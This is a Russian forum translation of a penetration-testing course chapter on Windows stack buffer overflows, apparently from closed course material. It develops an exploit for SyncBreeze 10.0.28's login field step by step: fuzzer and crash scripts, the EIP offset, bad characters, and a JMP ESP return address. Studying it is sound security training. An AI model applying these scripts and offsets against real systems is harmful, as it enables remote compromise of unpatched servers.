disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 11. Переполнение буфера в Windows. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Вступление
В этом модуле продемонстрируем, как обнаружить и проэксплуатировать уязвимость в приложении
Ссылка скрыта от гостей
. Несмотря на то, что рассматривается известная уязвимость, пройдем через этапы, необходимые для ее "обнаружения", и не будем полагаться на предыдущие исследования этого приложения.Этот процесс состоит из нескольких этапов. Сначала необходимо обнаружить уязвимость в коде (без доступа к исходникам). Затем необходимо создать входные данные таким образом, чтобы получить контроль над критическими регистрами процессора. Наконец, необходимо управлять памятью, чтобы получить удаленное выполнение кода (RCE).
Обнаружение уязвимости
Вообще, существует три основных метода выявления уязвимостей в приложениях. Анализ исходного кода, вероятно, самый простой, если код доступен. Если нет, то можно применить техники обратной разработки (reverse engineering) или фаззинг. В этой главе сосредоточимся на фаззинге.
Цель фаззинга - подобрать такие входные данные для приложения, которые оно не сможет корректно обработать, что приведет к его аварийному завершению. В основном, такие некорректные данные генерируются программно. Если в результате обработки таких данных произойдет сбой, то это может свидетельствовать о наличии потенциальной уязвимости, например, переполнения буфера.
Существует множество различных инструментов и техник фаззинга, которые можно применять в зависимости от конкретной задачи. Фаззер считается основанным на генерации входных данных, если он создает их с нуля, учитывая таки вещи как формат данных или спецификации сетевых протоколов. Фаззер, основанный на изменении данных изменяет уже существующие данные, используя такие методы как bit-flipping, чтобы создать искаженный вариант оригинальных входных данных.
Вообще, фаззер, который знаком с форматом входных данных приложения, может классифицироваться как
Ссылка скрыта от гостей
.Фаззинг протокола HTTP
Возьмем уязвимое приложение, чтобы продемонстрировать процессы фаззинга и разработки эксплоита. В 2017 году была обнаружена уязвимость переполнения буфера в механизме авторизации SyncBreeze версии 10.0.28. В частности, поле ввода имени пользователя в HTTP POST запросе можно было использовать для аварийного завершения работы приложения. Поскольку для обнаружения уязвимости не требуются верные пользовательские данные, это считается переполнением буфера до аутентификации, что для нас, как для пентестеров, является отличной возможностью.
Начнем с запуска службы SyncBreeze на компьютере с Windows 10. Необходимо запустить оснастку Services, services.msc, щелкнув правой кнопкой мыши по SyncBreeze и выбрав Start.
Рисунок 1: Запуск службы SyncBreeze
Теперь, когда служба запущена, можно сосредоточиться на поиске уязвимости. Если бы не было известно про эту уязвимость, то стоило бы начать фазить каждое поле ввода, предлагаемое приложением, в надежде на неожиданное поведение или сбой в работе приложения. Однако, для целей данного главы пропустим этот шаг и сосредоточимся конкретно на уязвимом поле имени пользователя. Для того, чтобы создать с нуля простой фаззер, основанный на генерации входных данных, возьмем образец трафика, который генерируется между клиентом и сервером, в качестве этих самых входных данных.
В этом модуле будем использовать Wireshark для сбора информации сетевого протокола, но такой сетевой прокси как Burp Suite может также использоваться для анализа протоколов, основанных на HTTP.
Сначала запустим Wireshark на компьютере с Kali Linux, попытаемся войти в SyncBreeze с неверными учетными данными и в это время проследим за трафиком TCP на 80-м порту на компьютере с Windows 10.
Рисунок 2: Авторизация в SyncBreeze
Рисунок 3: Фрагмент HTTP трафика в Wireshark
Исследуя трафик, обнаруживаем трехстороннее рукопожатие TCP и следующий за ним наш HTTP трафик. Поток TCP выглядит следующим образом:
Код:
POST /login HTTP/1.1
Host: 10.11.0.22
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.11.0.22/login
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=AAAA&password=BBBB
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 730
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/h
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'>
<meta name='Author' content='Flexense HTTP Server v10.0.28'>
<meta name='GENERATOR' content='Flexense HTTP v10.0.28'>
<title>Sync Breeze Enterprise @ DESKTOP-4MK82OB - Error</title>
<link rel='stylesheet' type='text/css' href='resources/syncbreeze.css' media='all'>
</head>
<body>
<center>
<div class='error_message' style='margin-top: 200px;'>
<p>The specified user name and/or password is incorrect.</p>
</div>
<input style='margin-top: 20px;' type='button' value='Close' onClick="history.go(-1);"
</center>
</body>
</html>
Листинг 1 - HTTP трафик
В ответе HTTP видно, что имя пользователя и пароль неверные, но это и не имеет значения, так как исследуемая нами уязвимость существует до того, как происходит аутентификация. Можно воспроизвести это HTTP взаимодействие и начать собирать фаззер с помощью Proof of Concept скрипта (PoC-скрипта) Python примерно следующего содержания:
Python:
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
size = 100
inputBuffer = "A" * size
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 10.11.0.22\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://10.11.0.22/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.11.0.22", 80))
s.send(buffer)
s.close()
print "\nDone!"
except:
print "Could not connect!"
Листинг 2 - Proof of Concept скрипт Python для авторизации через HTTP POST
Так как известно, что имеем дело с уязвимостью переполнения буфера, соберем наш фаззер так, чтобы он слал HTTP POST запросы со все более длинным именем пользователя.
Следующая итерация скрипта показана в Листинге 3:
Python:
#!/usr/bin/python
import socket
import time
import sys
size = 100
while(size < 2000):
try:
print "\nSending evil buffer with %s bytes" % size
inputBuffer = "A" * size
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 10.11.0.22\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://10.11.0.22/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.11.0.22", 80))
s.send(buffer)
s.close()
size += 100
time.sleep(10)
except:
print "\nCould not connect!"
sys.exit()
Листинг 3 - Скрипт Python для фаззинга SyncBreeze
Обратите внимание, что в описанном выше цикле while при каждой попытке входа увеличивается длина поля имени пользователя на 100 символов. Затем вставляем 10-секундную задержку между запросами HTTP POST, чтобы замедлить процесс и более четко показать, на какой запрос среагировала уязвимость.
Перед запуском фаззера необходимо подключить отладчик к SyncBreeze во время работы последнего, чтобы заметить любое потенциальное нарушение доступа.
Однако сначала необходимо определить, какой из нескольких процессов SyncBreeze слушает на 80-м порту TCP. Хотя Immunity Debugger имеет столбец Listening, предназначенный для отображения этой информации, в данном случае он недоступен. Вместо этого будем использовать
Ссылка скрыта от гостей
, сначала убрав галочку Resolve Addresses в меню Options, чтобы получить вывод как на Рисунке 4.Рисунок 4: TCPView
В данном случае именем процесса является syncbrc.exe c ID процесса 688. Однако, если открыть Immunity Debugger и перейти к File > Attach, этот процесс не появляется. Это связано с тем, что SyncBreeze запущен из-под SYSTEM, а Immunity Debugger выполняется из-под обычного пользователя. Чтобы с этим справиться, необходимо перезапустить Immunity Debugger с привилегиями администратора, нажав на его ярлыке правой кнопкой мыши и выбрав "Run as administrator".
Рисунок 5: Панель Attach
Подключение отладчика к приложению останавливает его, поэтому нам надо нажать F9, чтобы продолжить выполнение.
Теперь, когда отладчик подключен и SyncBreeze запущен, можно выполнить скрипт для фаззинга, который выдает следующий результат:
Bash:
kali@kali:~$ ./fuzzer.py
Fuzzing username with 100 bytes
...
Fuzzing username with 800 bytes
Fuzzing username with 900 bytes
Листинг 4 - Процесс фаззинга
Когда буфер имени пользователя достигнет 800 байт в длину, отладчик сообщит нам об ошибке доступа, пытаясь выполнить код по адресу 41414141:
Рисунок 6: Ошибка доступа в Immunity Debugger
Наш простой фаззер выявил уязвимость в приложении! Уязвимость такого типа чаще всего возникает из-за операций с памятью, таких как копирование или перемещение, при которых перезаписываются данные за пределами предполагаемой области памяти. Когда перезапись происходит в стеке, то это приводит к переполнению буфера стека. Это может показаться довольно безобидной ошибкой, но будем использовать ее, чтобы обманом заставить ЦП выполнить любой нужный код.
Наша программа привела к сбою в приложении SyncBreeze и надо перезапустить приложение. Поскольку оно выполняется как служба, надо сделать это через оснастку Services, services.msc.
Рисунок 7: Служба SyncBreeze в services.msc
Эксплуатация переполнения буфера в Win32
Эксплуатация переполнения буфера в Win32
Обнаружение уязвимости, пригодной для эксплуатации, - это увлекательно, но превращение такого открытия в рабочий эксплоит и успешное получение шелла - это еще более увлекательно, а к тому же еще и практично. По-этому первой целью будет получение контроля над регистром EIP.
Пара слов про DEP, ASLR и CFG
Было разработано несколько защитных механизмов, чтобы затруднить получение контроля над EIP и дальнейшую эксплуатацию.
Microsoft реализует несколько видов такой защиты, в частности,
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
. Прежде чем продолжим, рассмотрим их немного подробнее.DEP - это набор программных и аппаратных технологий, которые проводят дополнительные проверки памяти, чтобы предотвратить запуск вредоносного кода в системе. Основное преимущество DEP состоит в том, что он помогает предотвратить выполнение кода из
Ссылка скрыта от гостей
, вызывая исключение при попытках это сделать.ASLR располагает базовые адреса загруженных приложений и DLL в случайном порядке каждый раз при загрузке операционной системы. На таких старых операционных системах как Windows XP, где ASLR не реализован, все DLL каждый раз загружаются по одному и тому же адресу в памяти, делая эксплуатацию гораздо проще. В сочетании с DEP, ASLR обеспечивает очень сильную защиту от эксплуатации уязвимостей.
Наконец, CFG, реализация целостности потока управления от Microsoft, контролирует ветвление кода, тем самым предотвращая перезапись указателей функций.
К счастью, программа SyncBreeze была скомпилирована без DEP, ASLR или CFG, что сильно упрощает эксплуатацию, так как не придется обходить или даже беспокоиться об этих внутренних механизмах безопасности.
Воспроизведение сбоя
Основываясь на результатах фаззера, можно предположить, что SyncBreeze может быть уязвим к переполнению буфера, когда имя пользователя длиной около 800 байт передается через HTTP POST запрос во время авторизации. Первой задачей в процессе эксплуатации будет написание простого скрипта, который будет воспроизводить описанный выше сбой в программе, без необходимости запускать фаззер каждый раз заново. Новый скрипт будет выглядеть как в Листинге 5:
Python:
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
size = 800
inputBuffer = "A" * size
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 10.11.0.22\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://10.11.0.22/login\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.11.0.22", 80))
s.send(buffer)
s.close()
print "\nDone!"
except:
print "\nCould not connect!"
Листинг 5 - Воспроизводим переполнение буфера
Когда скрипт выполнится, то он вызовет ошибку доступа, подобную той, что наблюдали ранее. Другими словами, можно раз за разом воспроизводить этот сбой. Для начала неплохо.
Получение контроля над EIP
Получение контроля над регистром EIP является важным шагом в эксплуатации уязвимостей повреждения памяти. Регистр EIP похож на поводья лошади; можно использовать его для управления направлением или потоком выполнения приложения. Однако на данный момент известно только то, что какая-то неизвестная часть нашего буфера из символов "А" перезаписала регистр EIP, как показано на Рисунке 8:
Рисунок 8: EIP перезаписан символами "А"
Прежде чем записать корректный адрес назначения в указатель инструкций и получить возможность контролировать поток выполнения, необходимо узнать, какая именно часть буфера записалась в EIP.
Есть два способа это сделать. Во-первых, можно применить двоичное дерево поиска (binary tree analysis). Вместо 800 символов "А" передадим 400 "А" и 400 "В". Если EIP перезапишется символами "В", то наши четыре байта располагаются во второй части буфера. Затем заменим эти 400 "В" на 200 "В" и 200 "С" и передадим буфер снова. Если EIP перезапишется символами "С", то наши четыре байта находятся в диапазоне 600-800 байт. Продолжим разбивать нужный буфер до тех пор, пока не найдем именно те четыре байта, которые перезаписывают EIP. Математически, это должно произойти за семь итераций.
Однако есть и более быстрый способ определить местоположение этих четырех байтов. Можно было бы использовать в качестве входных данных достаточно длинную строку, которая состоит из неповторяющихся 4-байтных частей. Таким образом, когда EIP перезапишется четырьмя байтами из нашей строки, можно будет использовать их уникальную последовательность, чтобы точно определить, где именно во входном буфере они находятся. Вначале это может быть немного сложно, но, применив данную технику, все станет яснее.
Для этого будем использовать pattern_create.rb, скрипт на Ruby из Metasploit. Этот скрипт находится в /usr/share/metasploit-framework/tools/exploit/, но его можно запустить из любого места в Kali, запустив msf-pattern_create, как показано ниже:
Bash:
kali@kali:~$ locate pattern_create
/usr/bin/msf-pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
kali@kali:~$ msf-pattern_create -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options:
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
Листинг 6 - Расположение и справка msf-pattern_create
Чтобы создать строку для примера, передадим параметр -l, который определяет длину нашей строки (800):
Bash:
kali@kali:~$ msf-pattern_create -l 800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak...
Листинг 7 - Создание уникальной строки
Следующим этапом будет обновление Python-скрипта, замена существущего буфера из 800 символов "А" на эту уникальную строку:
Python:
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
inputBuffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa...1Ba2Ba3Ba4Ba5Ba"
content = "username=" + inputBuffer + "&password=A"
...
Листинг 8 - Обновленный буфер с новой строкой
Когда перезапустим SyncBreeze и запустим снова наш эксплоит, увидим, что EIP содержит новую строку, похожую на ту, что показана на Рисунке 9:
Рисунок 9: Перезаписанный EIP
Регистр EIP был перезаписан значением 42306142, шестнадцатеричным представлением символов "B0aB". Зная это, можно использовать сопутствующий скрипт pattern_offset.rb, чтобы определить смещение четырех байт в строке. В Kali этот скрипт можно вызвать из любого места с помощью msf-pattern_offset.
Чтобы найти смещение, в котором происходит перезапись EIP, можно использовать -l для указания длины нашей исходной строки (в нашем случае 800) и -q для указания байтов, которые были найдены в EIP (42306142):
Bash:
kali@kali:~$ msf-pattern_offset -l 800 -q 42306142
[*] Exact match at offset 780
Листинг 9 - Находим смещение
Вывод скрипта msf-pattern_offset говорит о том, что эти четыре байта расположены со смещением 780 в нашем 800-байтном шаблоне. Модифицируем строку буфера и посмотрим, сможем ли передать четыре символа "В" точно в регистр EIP:
Python:
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 780
eip = "B" * 4
buffer = "C" * 16
inputBuffer = filler + eip + buffer
content = "username=" + inputBuffer + "&password=A"
...
Листинг 10 - Обновленная строка буфера
На этот раз веб-сервер дает сбой, строка входного буфера подобрана правильно, и EIP теперь содержит наши четыре символа "В" (0x42424242), как показано на Рисунке 10:
Рисунок 10: Получен контроль над EIP
Теперь у нас есть полный контроль над EIP и можно управлять потоком выполнения SyncBreeze! Однако надо заменить наш временный заполнитель 0x42424242 и перенаправить поток выполнения приложения на правильный адрес, указывающий на код, который хотим выполнить.
Выбор места для шеллкода
На данный момент известно, что можно поместить любой адрес в EIP, но не известно, какой именно адрес использовать. И нет возможности выбрать адрес, пока не поймем, куда можно перенаправить поток выполнения. Поэтому сначала сосредоточимся на исполняемом коде, который хотим, чтобы выполнялся и, что более важно, поймем, где этот код разместить в памяти.
В идеале, хотим, чтобы приложение выполнило код, который выберем, например, обратный шелл (реверс шелл). Можно передать такой
Ссылка скрыта от гостей
как часть буфера входных данных, который вызывает сбой.Шеллкод - это набор инструкций ассемблера, которые при выполнении реализуют желаемые действия атакующего. Обычно это запуск прямого или обратного шелла, но также могут быть включены и более сложные действия.
Будем использовать Metasploit Framework для генерации полезной нагрузки нашего шеллкода. Если вспомнить состояние регистров после последнего сбоя на Рисунке 10, то можно заметить, что регистр ESP указывает на наш буфер из символов "С".
Так как во время сбоя легко можно получить доступ к этому месту через адрес, хранящийся в ESP, то, кажется, это подходящее место для шеллкода.
При ближайшем рассмотрении стека во время сбоя (Листинг 11) видно, что первые четыре символа "С" записались по адресу 0x01307460, а ESP, содержащий адрес 0x01307464 (Рисунок 10) указывает на следующие четыре символа "С" из нашего буфера.
Код:
01307444 41414141 AAAA
01307448 41414141 AAAA
0130744C 41414141 AAAA
01307450 41414141 AAAA
01307454 41414141 AAAA
01307458 41414141 AAAA
0130745C 42424242 BBBB
01307460 43434343 CCCC
01307464 43434343 CCCC
01307468 43434343 CCCC
0130746C 43434343 CCCC
01307470 00000000
01307474 00000000
Листинг 11 - ESP указывает на символы "С"
По опыту известно, что нагрузка для стандартного реверс шелла занимает примерно 350-400 байт. Однако из приведенного листинга выше прекрасно видно, что в буфере всего шестнадцать символов "С", что недостаточно для шеллкода. Самый простой способ решить эту проблему - попытаться увеличить длину буфера в эксплоите с 800 до 1500 байт и посмотреть, хватит ли места для шеллкода, не нарушая при этом условий переполнения буфера и не изменяя характер сбоя в приложении.
В зависимости от приложения и типа уязвимости, могут существовать ограничения на длину входных данных. В некоторых случаях увеличение длины буфера может привести к совершенно иному типу сбоя, так как увеличенный буфер перезаписывает в стеке лишние данные, которые используются приложением.
Теперь добавим символы "D" в качестве временного заполнителя на место нашего шеллкода:
Python:
...
filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer
...
Листинг 12 - Обновленная строка имени пользователя
После отправки нового, более длинного буфера, можно наблюдать в отладчике аналогичный сбой. Однако на этот раз видно, что ESP указывает на другой адрес, 0x030E745C, как показано на Рисунке 11:
Рисунок 11: Увеличение размера стека
Таким образом, ESP указывает на символы "D" (0x44 в шестнадцатеричном представлении), выступая в качестве временного заполнителя на месте нашего шеллкода:
Код:
030E7448 41414141 AAAA
030E744C 41414141 AAAA
030E7450 41414141 AAAA
030E7454 42424242 BBBB
030E7458 43434343 CCCC
030E745C 44444444 DDDD
030E7460 44444444 DDDD
030E7464 44444444 DDDD
030E7468 44444444 DDDD
030E746C 44444444 DDDD
...
030E745C 44444444 DDDD
Листинг 13 - Увеличение пространства в стеке для шеллкода
Этот маленький трюк дал нам гораздо больше места для работы. При дальнейшем рассмотрении видно, что теперь у нас есть в общей сложности 704 байта (0x030E771C - 0x030E745C = 704) свободного места для нашего шеллкода.
Также обратите внимание, что адрес ESP изменяется каждый раз, когда запускается эксплоит, но все равно указывает на наш буфер. Рассмотрим это в следующем разделе, но сначала нужно решить еще одну задачу.
Проверка на плохие символы
В зависимости от приложения, типа уязвимости и используемых протоколов, могут встречаться символы, которые считаются "плохими" и не должны использоваться в буфере, адресе возврата или шеллкоде. Одним из примеров плохого символа, особенно при переполнении буфера, вызванного операциями копирования невалидированных строк, является нулевой байт, 0x00. Этот символ считается плохим, так как нулевой байт используется для обозначения конца строки в низкоуревневых языках программирования, таких как C/C++. Это приведет к завершению операции копирования строки, фактически обрезая наш буфер при первом появлении нулевого байта.
Кроме того, так как эксплоит отправляется как часть HTTP POST запроса, необходимо избегать 0x0D, символа возврата каретки, который обозначает конец HTTP поля (в данном случае имени пользователя).
Опытный разработчик эксплоитов будет всегда проверять наличие плохих символов. Один из способов определить, какие символы являются плохими для конкретного эксплоита - это передать все возможные символы, от 0x00 до 0xFF, как часть буфера, и посмотреть, как приложение обработает эти символы после сбоя.
Для этого мы изменим наш Proof-of-Concept скрипт и заменим символы "D" на все возможные шестнадцатеричные символы кроме 0x00. Листинг 14:
Python:
#!/usr/bin/python
import socket
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
try:
print "\nSending evil buffer..."
filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
inputBuffer = filler + eip + offset + badchars
content = "username=" + inputBuffer + "&password=A"
...
Листинг 14 - Скрипт, содержащий все шестнадцатеричные символы
После выполнения PoC-скрипта можно щелкнуть правой кнопкой мыши на ESP и выбрать Follow in Dump, чтобы показать шестнадцатеричные символы входного буфера в памяти (Листинг 15).
Код:
0326744C 41 41 41 41 41 41 41 41 AAAAAAAA
03267454 42 42 42 42 43 43 43 43 BBBBCCCC
0326745C 01 02 03 04 05 06 07 08
03267464 09 00 C3 00 90 BC C3 00 ..Ã. ¼Ã.
0326746C 10 6C C4 00 06 00 00 00 lÄ....
03267474 18 AB 26 03 00 00 00 00 «&....
Листинг 15 - Урезанный буфер в стеке
Вывод выше показывает, что только шестнадцатеричные значения с 0x01 по 0x09 попали в буфер стека. Не видно значения следующего символа, 0x0A, который должен быть по адресу 0x03267465.
Это не удивительно, если учесть, что 0x0A представляет собой символ перевода строки, который завершает HTTP поле так же как и возврат каретки.
Удалив символ 0x0A из тестового скрипта и повторно отправив нагрузку видим, что получившийся буфер завершается после шестнадцатеричного значения 0x0C (Листинг 16). Это указывает на то, что 0x0D, символ возврата каретки, также является плохим символом, как уже обсуждалось:
Код:
01B1744C 41 41 41 41 41 41 41 41 AAAAAAAA
01B17454 42 42 42 42 43 43 43 43 BBBBCCCC
01B1745C 01 02 03 04 05 06 07 08
01B17464 09 0B 0C 00 38 BD CE 00 ...8½Î.
01B1746C 10 6C CF 00 06 00 00 00 lÏ....
01B17474 18 AB B1 01 00 00 00 00 «±....
Листинг 16 - Буфер, усеченный символом возврата каретки
Продолжая в том же духе, мы обнаружим, что символы 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, и 0x3D портят входной буфер при попытке переполнения целевого буфера.
Перенаправление потока выполнения
На данный момент имеется контроль над регистром EIP и известно, что можно поместить шеллкод в пространство памяти, к которому легко получить доступ через регистр ESP. Также известно, какие символы безопасны для буфера, а какие нет. Следующая задача - найти способ перенаправить поток выполнения на шеллкод, расположенный по адресу памяти, на который указывает регистр ESP в момент сбоя приложения.
Самый очевидный подход - попробовать заменить символы "B", которые перезаписывают EIP, на адрес, который оказывается в регистре ESP в момент сбоя. Однако, как уже упоминалось ранее, значение ESP каждый раз меняется. Адреса в стеке часто меняются, особенно в многопоточных приложениях, таких как SyncBreeze, поскольку каждый поток имеет свою зарезервированную область памяти под стек, выделенную операционной системой.
Таким образом, использование заранее заданного конкретного адреса не будет надежным способом передать управление буферу.
Находим адрес возврата
Все еще возможно хранить шеллкод по адресу, на который указывает ESP, но необходим подходящий способ заставить этот код выполниться. Одно из решений - использовать инструкцию JMP ESP, которая, как подсказывает ее синтаксис, "перепрыгивает" на адрес, на который в это время указывает ESP. Если получится найти надежный, не меняющийся адрес, который содержит эту инструкцию, удастся перенаправить EIP на этот адрес, и во время сбоя инструкция JMP ESP будет выполнена. Такой "скачок" передаст управление шеллкоду.
Многие библиотеки Windows содержат эту часто используемую инструкцию, но нужно найти такую, которая бы отвечала определенным требованиям. Во-первых, адреса, использующиеся в этой библиотеке должны быть постоянными, что исключает библиотеки, скомпилированные с поддержкой ASLR. Во-вторых, адрес инструкции не должен содержать ни один из "плохих" символов, которые могли бы нарушить работу эксплоита, так как адрес будет частью нашего буфера ввода.
Чтобы начать поиск нужного адреса возврата, можно использовать скрипт из Immunity Debugger, mona.py, разработанный Corelan team. Сначала запросим информацию обо всех DLL (или модулях), которые SyncBreeze загружает в память процесса, при помощи команды !mona modules, чтобы получить результат, показанный на Рисунке 12:
Рисунок 12: Вывод команды !mona modules
Столбцы в этом выводе показывают текущее расположение модуля в памяти (начальный и конечный адреса), его размер, несколько флагов, а также версию, имя и путь до модуля.
Исследуя значения флагов в данном выводе, видим, что для исполняемого файла syncbrs.exe отключены
Ссылка скрыта от гостей
(Structured Exception Handler Overwrite, техника защиты памяти от эксплоитов), ASLR и NXCompat (защита DEP).Другими словами, исполняемый файл не был скомпилирован с какими-либо способами защиты памяти и всегда будет загружаться по одному и тому же адресу, что делает его идеальным для целей эксплойта.
Однако он всегда загружается с начальным адресом 0x00400000, а это значит, что адреса всех инструкций (0x004XXXXX) будут содержать нулевые символы, которые не подходят для нашего буфера.
Исследуя вывод, обнаруживаем, что LIBSSP.DLL также удовлетворяет требованиям и, похоже что, диапазон адресов не содержит плохих символов. Это идеально подходит. Теперь необходимо найти в этом модуле адрес инструкции JMP ESP, возникающей там естественным образом.
Обратите внимание, если бы это приложение было скомпилировано с поддержкой DEP, наш адрес JMP ESP располагался бы в модуле в сегменте кода .text, так как это единственный сегмент, имеющий права и на чтение (R) и на выполнение (E). Однако, поскольку защита DEP не включена, можно свободно использовать инструкции с любого адреса в этом модуле.
Можно было бы использовать встроенные команды Immunity Debugger для поиска инструкции JMP ESP, но поиск должен был бы проводиться в нескольких областях данных внутри DLL. Вместо этого можно использовать mona.py для исчерпывающего поиска двоичного или шестнадчатеричного представления (операционного кода) инструкции ассемблера.
Для поиска операционного кода, эквивалентного инструкции JMP ESP, можно использовать NASM Shell, скрипт на Ruby из Metasploit, msf-nasm_shell, который выдает результаты, показанные в Листинге 17:
Bash:
kali@kali:~$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
nasm >
Листинг 17 - Находим операционный код инструкции JMP ESP
Можно искать JMP ESP, используя шестнадцатеричное представление операционного кода (0xFFE4) во всех секциях LIBSSP.DLL при помощи команды mona.py find.
Укажем значение для поиска ключом -s и экранированное значение шестнадцатеричного операционного кода "\xff\xe4". Дополнительно указываем имя необходимого модуля ключем -m.
Вывод получившейся команды !mona find -s "\xff\xe4" -m "libspp.dll", показан на Рисунке 13:
Рисунок 13: Поиск операционных кодов с помощью mona.py
В этом примере на выходе виден один адрес, содержащий инструкцию JMP ESP (0x10090c83), и, к счастью, этот адрес не содержит ни одного плохого символа.
Для просмотра содержимого адреса (0x10090c83) в окне дизассемблера, пока выполнение приостановлено, нажмем кнопку "Go to address in Disassembler" (Рисунок 14) и введем адрес. Здесь видим, что он действительно указывает на инструкцию JMP ESP.
Рисунок 14: Переход по конкретному адресу в окне дизассемблера
Если во время сбоя перенаправить EIP на этот адрес, то выполнится инструкция JMP ESP, которая направит поток выполнения на шеллкод.
